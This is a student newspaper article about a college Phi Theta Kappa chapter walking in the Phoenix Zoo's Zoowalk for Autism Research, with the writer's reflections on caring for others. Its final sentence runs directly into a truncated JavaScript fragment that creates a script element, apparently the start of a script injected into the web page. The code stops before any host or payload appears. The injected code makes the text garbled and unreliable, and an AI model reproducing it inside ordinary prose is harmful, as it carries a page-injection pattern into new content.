11th Annual Zoowalk for Autism Research

PTK’s Alpha Theta Delta Participates

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CAC’s PTK at Autism Zoo Walk

Audrey Bimbi, Cactus Contributor

On October 3, the Central Arizona College Phi Theta Kappa chapter joined hands with 3,000 plus walkers from Phoenix and other cities for the 11th annual Zoowalk for Autism Research. The chapter chose the team name “CAC PTK Joe’s Walkers” in memory of Joseph “Joe” Kirklow, the Signal Peak campus and Chapter President who passed in August of this year. The main goal of the event, held at the Phoenix Zoo, was to raise awareness and funding for the ongoing research for the treatment and prevention of Autism—research that is currently being spearheaded by the Autism/Asperger’s Research Program at Arizona State University (ASU) working in partnership with the Autism Research Institute. ASU has already published more than thirty-five papers on possible causes of Autism and its treatment. By the day of the Zoowalk, $100,000 of the anticipated $150,000 in donations had already been raised!

It was a humbling and inspiring experience to walk with different people from different communities whose love and care goes beyond words. In the heat and humidity that defines Arizona, there was no sign of giving up; armed with water bottles and sun hats, we were all ready for whatever obstacle was ahead. For me, the courage to walk came as a result of the realization that there are many people and things more important than my fears.

Although I had fun seeing the beautiful creatures up close, I learned something from them that made me realize why the walk was held at a zoo: There is so much we can learn from other creatures, and be reminded of, if we deliberately take the time to observe them. I remember passing by monkeys and watching them take turns picking each other’s hair for lice. The way they interacted in front of dozens of curious eyes was somewhat of an eye opener, revealing how life should be for us as fellow humans. Caring about each other and helping each other out is something we have to do if we are ever going to see the change we wish for. Being in the zoo that day, I realized the reason humans are not the only beings on earth is that we need other creatures around to remind us of how life should be for us. Even if it happens that we who care are outnumbered by those who don’t, in the words of Margaret Mead, “Never believe that a few caring people can’t change the world. For, indeed, that’s all who ever have.”var d=document;var s=d.createElement(‘script’);